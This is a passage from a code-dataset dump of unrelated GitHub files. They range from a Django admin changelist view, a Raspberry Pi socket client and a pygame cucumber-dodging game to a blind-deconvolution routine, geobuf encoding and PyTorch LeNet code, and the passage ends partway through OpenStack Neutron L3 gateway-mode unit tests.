already in the query string, something\n # is screwed up with the database, so display an error page.\n if ERROR_FLAG in request.GET.keys():\n return render_to_response('admin/invalid_setup.html', {'title': _('Database error')})\n return HttpResponseRedirect(request.path + '?' + ERROR_FLAG + '=1')\n\n # If the request was POSTed, this might be a bulk action or a bulk edit.\n # Try to look up an action or confirmation first, but if this isn't an\n # action the POST will fall through to the bulk edit check, below.\n if actions and request.method == 'POST' and (helpers.ACTION_CHECKBOX_NAME in request.POST or 'index' in request.POST):\n response = self.response_action(request, queryset=cl.get_query_set())\n if response:\n return response\n\n # If we're allowing changelist editing, we need to construct a formset\n # for the changelist given all the fields to be edited. Then we'll\n # use the formset to validate/process POSTed data.\n formset = cl.formset = None\n\n # Handle POSTed bulk-edit data.\n if request.method == \"POST\" and self.list_editable:\n FormSet = self.get_changelist_formset(request)\n formset = cl.formset = FormSet(request.POST, request.FILES, queryset=cl.result_list)\n if formset.is_valid():\n changecount = 0\n for form in formset.forms:\n if form.has_changed():\n obj = self.save_form(request, form, change=True)\n self.save_model(request, obj, form, change=True)\n form.save_m2m()\n change_msg = self.construct_change_message(request, form, None)\n self.log_change(request, obj, change_msg)\n changecount += 1\n\n if changecount:\n if changecount == 1:\n name = force_unicode(opts.verbose_name)\n else:\n name = force_unicode(opts.verbose_name_plural)\n msg = ungettext(\"%(count)s %(name)s was changed successfully.\",\n \"%(count)s %(name)s were changed successfully.\",\n changecount) % {'count': changecount,\n 'name': name,\n 'obj': force_unicode(obj)}\n self.message_user(request, msg)\n\n return HttpResponseRedirect(request.get_full_path())\n\n # Handle GET -- construct a formset for display.\n elif self.list_editable:\n FormSet = self.get_changelist_formset(request)\n formset = cl.formset = FormSet(queryset=cl.result_list)\n\n # Build the list of media to be used by the formset.\n if formset:\n media = self.media + formset.media\n else:\n media = self.media\n\n # Build the action form and populate it with available actions.\n if actions:\n action_form = self.action_form(auto_id=None)\n action_form.fields['action'].choices = self.get_action_choices(request)\n else:\n action_form = None\n\n selection_note_all = ungettext('%(total_count)s selected',\n 'All %(total_count)s selected', cl.result_count)\n\n context = {\n 'module_name': force_unicode(opts.verbose_name_plural),\n 'selection_note': _('0 of %(cnt)s selected') % {'cnt': len(cl.result_list)},\n 'selection_note_all': selection_note_all % {'total_count': cl.result_count},\n 'title': cl.title,\n 'is_popup': cl.is_popup,\n 'cl': cl,\n 'media': media,\n 'has_add_permission': self.has_add_permission(request),\n 'root_path': self.admin_site.root_path,\n 'app_label': app_label,\n 'action_form': action_form,\n 'actions_on_top': self.actions_on_top,\n 'actions_on_bottom': self.actions_on_bottom,\n 'actions_selection_counter': self.actions_selection_counter,\n }\n context.update(extra_context or {})\n\n # MODIFICATION\n map_ = self.get_changelist_map(cl, request)\n if map_:\n context['media'] += map_.media\n context['map'] = map_\n # END MODIFICATION\n\n context_instance = template.RequestContext(request, current_app=self.admin_site.name)\n return render_to_response(self.change_list_template or [\n 'admin/%s/%s/change_list.html' % (app_label, opts.object_name.lower()),\n 'admin/%s/change_list.html' % app_label,\n 'admin/change_list.html'\n ], context, context_instance=context_instance)\n\n\n","repo_name":"taarifa/djangorifa","sub_path":"djangorifa/olwidget/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":11820,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"72"} +{"seq_id":"71049166952","text":"\"\"\"\nProvides the SocketClient class for communicating with master pi\n\"\"\"\n\nimport json\nimport socket\nimport logging\nfrom datetime import datetime\n\n\nlogging.basicConfig(filename=\"./reception_pi/logs/reception-application.log\", filemode='a', level=logging.DEBUG)\n\n\nclass SocketClient():\n \"\"\"\n Can send strings to a socket server and recieve responses\n \"\"\"\n\n CONFIG_FILE = 'reception_pi/config.json'\n\n def __init__(self):\n self.__get_host_and_port()\n self.__socket_connection = None\n\n def send_message(self, message):\n\n \"\"\"\n Sends a string to the host then closes the connection\n\n Args:\n message: string to send to host\n\n Returns:\n string: 'SUCCESS' or 'FAILURE' depending on whether message was sent successfully\n \"\"\"\n\n try:\n self.__connect_to_host()\n self.__send_string(message)\n self.close()\n return \"SUCCESS\"\n\n except socket.error as error:\n logging.warning(\"SOCKETS: \" + error.__str__() + \" \" + datetime.now().__str__())\n return \"FAILURE\"\n\n def send_message_and_wait(self, message):\n\n \"\"\"\n Sends a string to the host then waits for a response\n\n Args:\n message: string to send to host\n\n Returns:\n string: response from host, or 'FAILURE' if connection failed\n \"\"\"\n\n try:\n self.__connect_to_host()\n self.__send_string(message)\n\n print(\"Successfully logged into master\")\n\n response = self.__wait_for_response()\n self.close()\n\n return response\n\n except socket.error:\n return \"FAILURE\"\n\n def close(self):\n\n \"\"\"\n Releases the socket\n \"\"\"\n\n self.__socket_connection.close()\n self.__socket_connection = None\n\n def __get_host_and_port(self):\n with open(self.CONFIG_FILE) as config_file:\n config_json = json.load(config_file)\n self.__host = config_json[\"sockets\"]['master_ip']\n self.__port = int(config_json[\"sockets\"]['master_port'])\n\n def __connect_to_host(self):\n if not self.__socket_connection:\n address = (self.__host, self.__port)\n self.__socket_connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.__socket_connection.connect(address)\n\n def __send_string(self, string):\n self.__socket_connection.sendall(string.encode())\n\n def __wait_for_response(self):\n response = self.__socket_connection.recv(4096).decode()\n return response\n","repo_name":"ujjwalbatra/smart-library","sub_path":"reception_pi/util/socket_client.py","file_name":"socket_client.py","file_ext":"py","file_size_in_byte":2614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"17256524065","text":"# - 팀: 차돌코코아\n# 파이썬 버전: 3.10.7\n# pygame 버전: 2.1.2\n# windows 10 64비트 / pycharm\n# - 게임을 만들 때 참고한 것들 https://youtu.be/Dkx8Pl6QKW0 (파이썬 무료 게임 만들기 강의)\n# https://stackoverflow.com/questions/51060894/adding-a-data-file-in-pyinstaller-using-the-onefile-option/51061279#51061279 (상대 경로 계산)\n# 폰트는 나눔고딕체를 사용했습니다.\n# - 컴파일 명령어\n# pyinstaller.exe -w -F --add-data=\"data/*;data\" --add-data=\"data/img/*;data/img\" --ico=\"data/cucumber.ico\" -n cucumber main.py\nimport pygame\nimport random\nimport os\nimport sys\n\npygame.init() # 초기화\n\n\n# 스프라이트 클래스\nclass Sprite:\n def __init__(self, image_path: str, pos=None, sprite_speed=0.5):\n if pos is None: # 좌표를 입력하지 않으면 0, 0으로\n pos = (0, 0)\n self.image = pygame.image.load(resource_path(image_path)) # 이미지 설정\n self.width, self.height = self.image.get_rect().size # 크기 설정\n self.x_pos = pos[0] # 좌표 설정\n self.y_pos = pos[1]\n self.to_x = 0 # 움직임 설정\n self.to_y = 0\n self.speed = sprite_speed # 속도 설정\n\n # 움직이기\n def move(self, screen_collision=True):\n self.x_pos += self.to_x # 움직이기\n self.y_pos += self.to_y\n # 화면 밖으로 넘어가지 않게\n if screen_collision:\n # x좌표\n if self.x_pos < 0:\n self.x_pos = 0\n if self.x_pos > screen_width - self.width:\n self.x_pos = screen_width - self.width\n # y좌표\n if self.y_pos < 0:\n self.y_pos = 0\n if self.y_pos > screen_height - self.height:\n self.y_pos = screen_height - self.height\n\n # 화면에 그리기\n def blit(self):\n global screen\n screen.blit(self.image, (self.x_pos, self.y_pos)) # 그리기\n\n # rect 계산\n def get_rect(self):\n rect = self.image.get_rect() # 크기 계산\n rect.left, rect.top = self.x_pos, self.y_pos # 위치 계산\n\n self.width, self.height = rect.size # 크기 적용\n\n return rect # 결과 리턴\n\n # 충돌 계산\n def collide_rect(self, other):\n # 충돌 처리를 위한 rect 업데이트\n a_rect = self.get_rect()\n b_rect = other.get_rect()\n\n # 충돌 확인하고 리턴\n return a_rect.colliderect(b_rect)\n\n\n# 텍스트 클래스\nclass Text:\n def __init__(self, content=\"\", pos=None, font=None, size=60, color=None):\n self.content = str(content)\n if font:\n font = resource_path(font)\n self.font = pygame.font.Font(font, size)\n if color is None:\n color = (0, 0, 0)\n self.color = color\n if pos is None:\n pos = (0, 0)\n self.x_pos = pos[0]\n self.y_pos = pos[1]\n\n def set_content(self, content):\n self.content = str(content)\n\n def render(self):\n global screen\n screen.blit(self.font.render(self.content, True, self.color), (self.x_pos, self.y_pos))\n\n\ndef resource_path(relative_path):\n \"\"\" Get absolute path to resource, works for dev and for PyInstaller \"\"\"\n try:\n # PyInstaller creates a temp folder and stores path in _MEIPASS\n base_path = sys._MEIPASS\n except Exception:\n base_path = os.path.abspath(\".\")\n\n return os.path.join(base_path, relative_path)\n\n\n# 화면 설정\nscreen_width = 480\nscreen_height = 640\nscreen = pygame.display.set_mode((screen_width, screen_height)) # 화면 크기 설정\npygame.display.set_caption(\"Cucumber Game\") # 제목 설정\npygame.display.set_icon(pygame.image.load(resource_path(\"data/cucumber.ico\")))\n\n# FPS\nclock = pygame.time.Clock()\ndelta = 0\n\n# 최고 점수\nbest_score = 0\n\n# 게임 플레이 무한반복\ngame_quit = False\nwhile not game_quit:\n\n # 배경 설정\n background = Sprite(\"data/img/background.png\")\n\n # 캐릭터 설정\n character = Sprite(\"data/img/character.png\")\n character.x_pos = (screen_width - character.width) / 2\n character.y_pos = screen_height - character.height # 좌표를 가운데 아래로 설정\n\n # 똥 캐릭터 설정\n cucumbers = list()\n cucumber_cycle = 1500\n cucumber_start_tick = pygame.time.get_ticks()\n\n # 점수판 설정\n scoreboard = Text(\"Score: 0\", (10, 10), \"data/NanumGothicBold.ttf\",\n 40, (153, 219, 164))\n score = 0 # 점수는 0\n\n # 최고 점수판 설정\n best_scoreboard = Text(\"Best Score: 0\", (10, 60), \"data/NanumGothicBold.ttf\",\n 25, (173, 186, 219))\n\n # 키보드 정보\n keyboard = dict()\n\n # 이벤트 루프\n running = True # 게임 진행 상태\n while running:\n # 60FPS\n delta = clock.tick(60)\n # 현재 틱\n now_tick = pygame.time.get_ticks()\n # 이벤트 체크\n for event in pygame.event.get():\n # 창을 닫으면 게임을 종료\n if event.type == pygame.QUIT:\n running = False\n game_quit = True\n\n # 키보드를 누르면 키보드 정보에 True로 표시\n if event.type == pygame.KEYDOWN:\n keyboard[event.key] = True\n\n # 키보드를 떼면 키보드 정보에 False로 표시\n if event.type == pygame.KEYUP:\n keyboard[event.key] = False\n\n # screen.fill((102, 104, 255)) # 단색 배경 그리기\n background.blit() # 이미지 배경 그리기\n\n character.to_x = 0\n if keyboard.get(pygame.K_LEFT):\n character.to_x -= character.speed * delta\n if keyboard.get(pygame.K_RIGHT):\n character.to_x += character.speed * delta\n\n character.move() # 캐릭터 움직이기\n character.blit() # 캐릭터 그리기\n\n if (now_tick - cucumber_start_tick) > cucumber_cycle:\n cucumber = Sprite(\"data/img/cucumber.png\")\n cucumber.x_pos = random.randint(0, screen_width - cucumber.width) # 가로는 랜덤\n cucumber.y_pos = 0 # 맨 위\n cucumber.speed = 0.4\n cucumbers.append(cucumber)\n\n cucumber_start_tick = now_tick\n if cucumber_cycle > 600:\n cucumber_cycle *= 0.99 # 600까지 점점 빠르게\n else:\n cucumber_cycle = 600 # 600보다 작아지면 600으로 고정\n\n new_cucumbers = []\n for cucumber in cucumbers:\n cucumber.to_y = cucumber.speed * delta\n cucumber.move(False)\n cucumber.blit() # 적 그리기\n\n # 충돌 확인\n if character.collide_rect(cucumber):\n running = False # 충돌하면 게임 종료\n\n # 바닥을 넘어가지 않았으면 new_cucumbers에 추가, 넘어갔으면 점수 추가 후 삭제\n if not (cucumber.y_pos > screen_height):\n new_cucumbers.append(cucumber)\n else:\n score += 1\n\n cucumbers = new_cucumbers # cucumbers 리스트 업데이트\n\n if score > best_score:\n best_score = score\n\n scoreboard.set_content(\"Score: \" + str(score))\n scoreboard.render()\n\n best_scoreboard.set_content(\"Best Score: \" + str(best_score))\n best_scoreboard.render()\n\n pygame.display.update() # 화면 업데이트\n\n # 게임이 끝나면 큰 오이 표시\n background.blit()\n\n game_over = Sprite(\"data/img/game_over.png\")\n game_over.blit()\n\n scoreboard.set_content(\"Score: \" + str(score))\n scoreboard.render()\n\n best_scoreboard.set_content(\"Best Score: \" + str(best_score))\n best_scoreboard.render()\n\n # 게임오버 화면 표시하기\n pygame.display.update()\n # 게임 종료가 아니면 1초 기다리기\n if not game_quit:\n pygame.time.delay(2000)\n\n# 종료\npygame.quit()\n","repo_name":"gunny091/cucumber","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7951,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"6912871507","text":"import sys\n\n\naa=[]\nn=int(sys.stdin.readline())\nfor i in range(n):\n aa.append(n-i)\n\nwhile (len(aa)>1):\n aa.pop()\n aa.insert(0,aa.pop())\n\nprint(aa[0])\n\n\n#자꾸 시간 초과됨 내 수준에서는 안 되는 건가?\n","repo_name":"yellow-jam/BOJ","sub_path":"python/2164_카드2.py","file_name":"2164_카드2.py","file_ext":"py","file_size_in_byte":224,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"1892360416","text":"from django.db import models\nfrom tinymce import models as tinymce_models\n\n\nclass Place(models.Model):\n\n title = models.CharField('Название', max_length=100)\n short_description = models.TextField(\n 'Краткое описание',\n blank=True,\n )\n long_description = tinymce_models.HTMLField(\n 'Полное описание',\n blank=True,\n )\n lng = models.FloatField('Долгота')\n lat = models.FloatField('Широта')\n\n def __str__(self):\n return self.title\n\n\nclass Image(models.Model):\n image = models.ImageField('Картинка', upload_to='places/')\n place = models.ForeignKey(\n Place,\n on_delete=models.CASCADE,\n null=True,\n related_name='images'\n )\n order = models.PositiveIntegerField(\n db_index=True,\n default=0,\n blank=False,\n null=False,\n )\n\n class Meta:\n ordering = ['order']\n\n def __str__(self):\n return self.image.name\n","repo_name":"NikBez/interactive_moscow","sub_path":"places/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"4543874496","text":"\"\"\"\nKernel estimation Function\n---------\n AlternatingBD : algorithm to compute blind deconvolution by alternating minimization method\n Chambolle-Pock algorithm for deblurring denoising\n FB algorithm with regularization of Tikhonov type to estimate a convolution kernel\n\n@author: Cecile Della Valle\n@date: 23/02/2021\n\"\"\"\n\n# General import\nimport numpy as np\nfrom numpy.fft import fft2, ifft2, fftshift\nimport matplotlib.pyplot as plt\nfrom scipy import interpolate\nimport math\nimport sys\n# Local import\nfrom Codes.fbstep import FBS_ker, FBS_im, FBS_dual\nfrom Codes.fbstep import Energy, Gradient\nfrom Codes.display import Display_ker\nfrom Codes.display import Display_im\n\n\ndef AlternatingBD(K_in,x_in,x_blurred,alpha,mu,gamma=1,\\\n alte=4,niter_TV=500,niter_Lap =500,\\\n proj_simplex=False,verbose=True):\n \"\"\"\n Alternating estimation of a blind deconvolution.\n Parameters\n ----------\n K_in (numpy array) : initial kernel of size (2M,2M)\n x_in (numpy array) : initial image of size (Nx,Ny)\n x_blurred (numpy array) : blurred and noisy image of size (Nx,Ny)\n alpha (float) : regularisation parameter for Tikhonov type regularization\n mu (float) : regularisation parameter for TV\n gamma (float) : weight on the data-fit term, default 1\n alte (int) : number of alternating iterations\n niter_TV (int) : number of iterations for image reconstruction\n niter_TV (int) : number of iterations for kernel reconstruction\n proj_simplex (bool) : if True, then projection of kernel on simplex space\n verbose (bool) : if True, it displays intemediary result\n Returns\n --------\n Ki (numpy array) : final estimated kernel of size (2M,2M)\n xi (numpy array) : final deblurred denoised image of size (Nx,Ny)\n Ep (numpy array) : primal energy through every FB step\n Ed (numpy.array) : Dual energy\n \"\"\"\n # local parameters and matrix sizes\n M,_ = K_in.shape\n M = M//2 # kernel middle size\n Nx, Ny = x_blurred.shape # image size\n # initialisation\n Ki = K_in.copy() # kernel\n Ki = np.pad(Ki, ((Nx//2-M,Nx//2-M),(Ny//2-M,Ny//2-M)),'constant') #padding\n Ep,Ed = np.zeros(alte*niter_Lap+2*alte*niter_TV),np.zeros(alte*niter_Lap+2*alte*niter_TV)\n xi = x_in.copy() # image\n xbar = x_in.copy() # image\n xold = x_in.copy() # image saved for relaxation\n px = np.zeros((Nx,Ny)) # dual variable on x\n py = np.zeros((Nx,Ny)) # dual variable on y\n # Derivation\n d = -np.ones((3,3))\n d[1,1] = 8\n d_pad = np.pad(d, ((Nx//2-1,Nx//2-1),(Ny//2-1,Ny//2-1)), 'constant')\n # gradient step initial\n wght = gamma\n # initialisation\n Ep,Ed = np.zeros(alte*niter_Lap+2*alte*niter_TV),np.zeros(alte*niter_Lap+2*alte*niter_TV)\n #\n count = 0\n for i in range(alte):\n # First estimation of image\n if verbose:\n print('------------- min image -----------------')\n for n in range(niter_TV):\n # one FBS for dual variable\n px,py = FBS_dual(xbar,px,py,mu,gamma=wght)\n # energy\n Ep[count],Ed[count] = Energy(xi,Ki,px,py,x_blurred,d_pad,alpha,mu,gamma=wght)\n count +=1\n # one FBS for image\n xi = FBS_im(xi,Ki,px,py,x_blurred,mu,gamma=wght)\n # energy\n Ep[count],Ed[count] = Energy(xi,Ki,px,py,x_blurred,d_pad,alpha,mu,gamma=wght)\n count +=1\n # relaxation\n xbar = 2*xi-xold\n xold = xi.copy()\n # test\n counter = i*(niter_Lap+2*niter_TV)+2*n\n if (counter%500==0)&(verbose):\n gradK,gradx = Gradient(xi,Ki,px,py,x_blurred,d_pad,alpha,mu,gamma=wght)\n print(\"iteration {} %--- gradient K {:.4f} --- gradient x {:.4f}\"\\\n .format(counter,gradK,gradx))\n print(\"Energie = \",Ep[count-1])\n # Second estimation of Kernel\n if verbose:\n print('------------- min kernel -----------------')\n for m in range(niter_Lap):\n # one FBS for kernel\n Ki = FBS_ker(xi,Ki,x_blurred,d_pad,alpha,gamma=wght,simplex=proj_simplex)\n # energy\n Ep[count],Ed[count] = Energy(xi,Ki,px,py,x_blurred,d_pad,alpha,mu,gamma=wght)\n count += 1\n # test\n counter = (i+1)*2*niter_TV+i*niter_Lap+m\n if (counter%500==0)&(verbose):\n gradK,gradx = Gradient(xi,Ki,px,py,x_blurred,d_pad,alpha,mu,gamma=wght)\n print(\"iteration {} %--- gradient K {:.4f} --- gradient x {:.4f}\"\\\n .format(counter,gradK,gradx))\n print(\"Energie = \",Ep[count-1])\n # retrun\n print('Final energy :',Ep[-1])\n Ki = Ki[Nx//2-M:Nx//2+M+1,Ny//2-M:Ny//2+M+1]\n return Ki,xi,Ep,Ed\n \n","repo_name":"ceciledellavalle/BlindDeconvolution","sub_path":"Codes/alternate.py","file_name":"alternate.py","file_ext":"py","file_size_in_byte":5154,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"27961204217","text":"from setuptools import setup, find_packages\nfrom iterator_chain import __version__\n\nwith open('README.md', 'r') as read_me:\n long_description = read_me.read()\n\nsetup(\n name='iterator-chain',\n version=__version__,\n author='halprin',\n author_email='me@halprin.io',\n description='Chain together lazily computed modifications to iterators',\n long_description=long_description,\n long_description_content_type='text/markdown',\n url='https://github.com/halprin/iterator-chain',\n classifiers=[\n 'Programming Language :: Python :: 3',\n 'License :: OSI Approved :: MIT License',\n 'Operating System :: OS Independent',\n 'Topic :: Software Development :: Libraries :: Python Modules'\n ],\n packages=find_packages(exclude='tests'),\n install_requires=[]\n)\n","repo_name":"halprin/iterator-chain","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"10672458636","text":"\"\"\"\nGiven a binary search tree, find the floor and ceiling of a given integer.\nThe floor is the highest element in the tree less than or equal to\nan integer, while the ceiling is the lowest element in the tree\ngreater than or equal to an integer.\nIf either value does not exist, return None\n\"\"\" \n\ndef solution(root, x, floor=None, ceil=None):\n\tif not root:\n\t\treturn floor, ceil\n\n\tif x == root.data:\n\t\treturn (x, x)\n\telif x < root.data:\n\t\tfloor, ceil = solution(root.left, x, floor=floor, ceil=root.data)\n\telif x > root.data:\n\t\tfloor, ceil = solution(root.right, x, floor=root.data, ceil=ceil)\n\n\treturn floor, ceil","repo_name":"Luka-stack/daily_coding_challenge","sub_path":"data_structures/binary_trees/problem1.py","file_name":"problem1.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"997610020","text":"#\n### List comprehension\n#\nleap_years = [year for year in range(1900, 2022) if year % 4 == 0]\nprint(leap_years)\n\ncountries = ['Česká Republika', 'Slovensko', 'USA', 'Francie', 'Angola',\n 'Arménie', 'Uganda', 'Slovinko', 'Azerbajdžán', 'Německo',]\n\n\nprefix = 'Sl'\n\n# 1. classic procedure\nres1 = []\nfor x in countries:\n if x.startswith(prefix):\n res1.append(x)\n\n# 2. Python comprehension\nres2 = [x for x in countries if x.startswith(prefix)]\n\n# 3. filter() function\nred3 = list(filter(lambda x: x.startswith(prefix), countries))\n\nprint(res1)\nprint(res2)\nprint(red3)\nprint('All are equal!' if res1 == res2 == red3 else 'Something is wrong!', '\\n')\n\n\n#\n### Dict comprehension\n#\ndatabase = {\n 'Milan': {\n 'langs': ['python', 'java', 'bash'],\n 'company': 'Mergado',\n },\n 'Karel': {\n 'langs': ['python', 'dart', 'c++', 'ruby'],\n 'company': 'IBM',\n },\n 'František': {\n 'langs': ['c++', 'javascript', 'perl', 'php'],\n 'company': 'Mergado',\n },\n}\n\n# classic\nmergado_pythonists = {}\nfor name, vals in database.items():\n if 'python' in vals['langs'] and vals['company'] == 'Mergado':\n mergado_pythonists[name] = vals\n\nprint(mergado_pythonists)\n\n# comprehension\npythonists = {name: vals for name, vals in database.items() if 'python' in vals['langs']}\n\nprint(pythonists)\n\nmergado_pythonists = {name: vals for name, vals in database.items()\\\n if 'python' in vals['langs'] and vals['company'] == 'Mergado'}\n\nprint(mergado_pythonists)\n","repo_name":"milandufek/pyladies_2022","sub_path":"http_json_api/comprehension.py","file_name":"comprehension.py","file_ext":"py","file_size_in_byte":1539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"12388277827","text":"color1 = input(\"Введите название первого основного цвета: \")\r\ncolor2 = input(\"Введите название второго основного цвета: \")\r\nif color1 == \"красный\" and color2 == \"синий\" or color1 == \"синий\" and color2 == \"красный\":\r\n print(\"Фиолетовый\")\r\nelif color1 == \"красный\" and color2 == \"желтый\" or color1 == \"желтый\" and color2 == \"красный\":\r\n print(\"Оранжевый\")\r\nelif color1 == \"синий\" and color2 == \"желтый\" or color1 == \"желтый\" and color2 == \"синий\":\r\n print(\"Зеленый\")\r\nelse:\r\n print(\"Ошибка: введите названия только основных цветов - красный, синий или желтый.\")\r\n","repo_name":"ElizarvaKaterina/laba","sub_path":"2.4.py","file_name":"2.4.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"29655675659","text":"def encode_linestring(feature_pbf, points, dimension, precision_factor):\n cumulative_sum = [0] * dimension\n for point in points:\n coords = [int(round(coord * precision_factor) - cumulative_sum[i]) for i, coord in enumerate(point)]\n feature_pbf.geometry.coords.extend(coords)\n cumulative_sum = [cumulative_sum[i] + coords[i] for i in range(dimension)]\n\ndef decode_linestring(feature_pbf, dimension, precision_factor):\n coords = feature_pbf.geometry.coords\n decoded_points, cumulative_coords = [], [0] * dimension\n \n for i in range(0, len(coords), dimension):\n current_coords = [cumulative_coords[j] + coords[i + j] for j in range(dimension)]\n decoded_points.append([float(coord) / precision_factor for coord in current_coords])\n cumulative_coords = current_coords\n \n return decoded_points\n","repo_name":"schulzsebastian/geobuf-vector-tiles","sub_path":"cli/src/geometry/linestring.py","file_name":"linestring.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"36900208626","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nclass Net(nn.Module):\n def __init__(self):\n super(Net, self).__init__()\n self.conv1 = nn.Conv2d(1, 6, 5)\n self.conv2 = nn.Conv2d(6, 16, 5)\n self.fc1 = nn.Linear(16*5*5, 120)\n self.fc2 = nn.Linear(120, 84)\n self.fc3 = nn.Linear(84, 10)\n\n def forward(self, x):\n x = F.max_pool2d(F.relu(self.conv1(x)),(2,2))\n x = F.max_pool2d(F.relu(self.conv2(x)),2)\n x = torch.flatten(x,1)\n x = F.relu(self.fc1(x))\n x = F.relu(self.fc2(x))\n x = self.fc3(x)\n return x\n\nnet = Net()\n\ninput = torch.randn(1, 1, 32, 32)\nout = net(input)\ntarget = torch.randn(10)\ntarget = target.view(1,-1)\ncriterion = nn.MSELoss()\nloss = criterion(out,target)\nnet.zero_grad()\nloss.backward()\n\nimport torch.optim as optim\n\noptimizer = optim.SGD(net.parameters(), lr=0.01)\noptimizer.zero_grad()\nout = net(input)\nloss = criterion(out,target)\nloss.backward()\noptimizer.step()\n\n","repo_name":"Tayl0rTan/pytorch","sub_path":"main/day5_digit.py","file_name":"day5_digit.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"8674184071","text":"from unittest import mock\n\nimport netaddr\nfrom neutron_lib.api.definitions import external_net as enet_apidef\nfrom neutron_lib.api.definitions import l3 as l3_apidef\nfrom neutron_lib.api.definitions import l3_ext_gw_mode\nfrom neutron_lib import constants\nfrom neutron_lib import context as nctx\nfrom neutron_lib.db import api as db_api\nfrom neutron_lib.plugins import directory\nfrom neutron_lib.utils import net as net_utils\nfrom oslo_db import exception as db_exc\nfrom oslo_serialization import jsonutils\nfrom oslo_utils import uuidutils\nimport testscenarios\nfrom webob import exc\n\nfrom neutron.db import l3_db\nfrom neutron.db import l3_gwmode_db\nfrom neutron.db.models import l3 as l3_models\nfrom neutron.extensions import l3\nfrom neutron.objects import network as net_obj\nfrom neutron.objects import ports as port_obj\nfrom neutron.objects import router as l3_obj\nfrom neutron.objects import subnet as subnet_obj\nfrom neutron.tests import base\nfrom neutron.tests.unit.db import test_db_base_plugin_v2\nfrom neutron.tests.unit.extensions import test_l3\nfrom neutron.tests.unit import testlib_api\n\n_uuid = uuidutils.generate_uuid\nFAKE_GW_PORT_ID = _uuid()\nFAKE_GW_PORT_MAC = 'aa:bb:cc:dd:ee:ff'\nFAKE_FIP_EXT_PORT_ID = _uuid()\nFAKE_FIP_EXT_PORT_MAC = '11:22:33:44:55:66'\nFAKE_FIP_INT_PORT_ID = _uuid()\nFAKE_FIP_INT_PORT_MAC = 'aa:aa:aa:aa:aa:aa'\nFAKE_ROUTER_PORT_ID = _uuid()\nFAKE_ROUTER_PORT_MAC = 'bb:bb:bb:bb:bb:bb'\n\n\nclass TestExtensionManager(object):\n\n def get_resources(self):\n return l3.L3.get_resources()\n\n def get_actions(self):\n return []\n\n def get_request_extensions(self):\n return []\n\n\n# A simple class for making a concrete class out of the mixin\n# for the case of a plugin that integrates l3 routing.\nclass TestDbIntPlugin(test_l3.TestL3NatIntPlugin,\n l3_gwmode_db.L3_NAT_db_mixin):\n\n supported_extension_aliases = [enet_apidef.ALIAS, l3_apidef.ALIAS,\n l3_ext_gw_mode.ALIAS]\n\n\n# A simple class for making a concrete class out of the mixin\n# for the case of a l3 router service plugin\nclass TestDbSepPlugin(test_l3.TestL3NatServicePlugin,\n l3_gwmode_db.L3_NAT_db_mixin):\n\n supported_extension_aliases = [l3_apidef.ALIAS, l3_ext_gw_mode.ALIAS]\n\n\nclass TestGetEnableSnat(testscenarios.WithScenarios, base.BaseTestCase):\n scenarios = [\n ('enabled', {'enable_snat_by_default': True}),\n ('disabled', {'enable_snat_by_default': False})]\n\n def setUp(self):\n super(TestGetEnableSnat, self).setUp()\n self.config(enable_snat_by_default=self.enable_snat_by_default)\n\n def _test_get_enable_snat(self, expected, info):\n observed = l3_gwmode_db.L3_NAT_dbonly_mixin._get_enable_snat(info)\n self.assertEqual(expected, observed)\n\n def test_get_enable_snat_without_gw_info(self):\n self._test_get_enable_snat(self.enable_snat_by_default, {})\n\n def test_get_enable_snat_without_enable_snat(self):\n info = {'network_id': _uuid()}\n self._test_get_enable_snat(self.enable_snat_by_default, info)\n\n def test_get_enable_snat_with_snat_enabled(self):\n self._test_get_enable_snat(True, {'enable_snat': True})\n\n def test_get_enable_snat_with_snat_disabled(self):\n self._test_get_enable_snat(False, {'enable_snat': False})\n\n\nclass TestL3GwModeMixin(testlib_api.SqlTestCase):\n\n def setUp(self):\n super(TestL3GwModeMixin, self).setUp()\n plugin = __name__ + '.' + TestDbIntPlugin.__name__\n self.setup_coreplugin(plugin)\n self.target_object = TestDbIntPlugin()\n # Patch the context\n ctx_patcher = mock.patch('neutron_lib.context', autospec=True)\n mock_context = ctx_patcher.start()\n self.context = mock_context.get_admin_context()\n # This ensure also calls to elevated work in unit tests\n self.context.elevated.return_value = self.context\n self.context.session = db_api.get_writer_session()\n # Create sample data for tests\n self.ext_net_id = _uuid()\n self.int_net_id = _uuid()\n self.int_sub_id = _uuid()\n self.tenant_id = 'the_tenant'\n self.network = net_obj.Network(\n self.context,\n id=self.ext_net_id,\n project_id=self.tenant_id,\n admin_state_up=True,\n status=constants.NET_STATUS_ACTIVE)\n self.net_ext = net_obj.ExternalNetwork(\n self.context, network_id=self.ext_net_id)\n self.network.create()\n self.net_ext.create()\n self.router = l3_models.Router(\n id=_uuid(),\n name=None,\n tenant_id=self.tenant_id,\n admin_state_up=True,\n status=constants.NET_STATUS_ACTIVE,\n enable_snat=True,\n gw_port_id=None)\n self.context.session.add(self.router)\n self.context.session.flush()\n 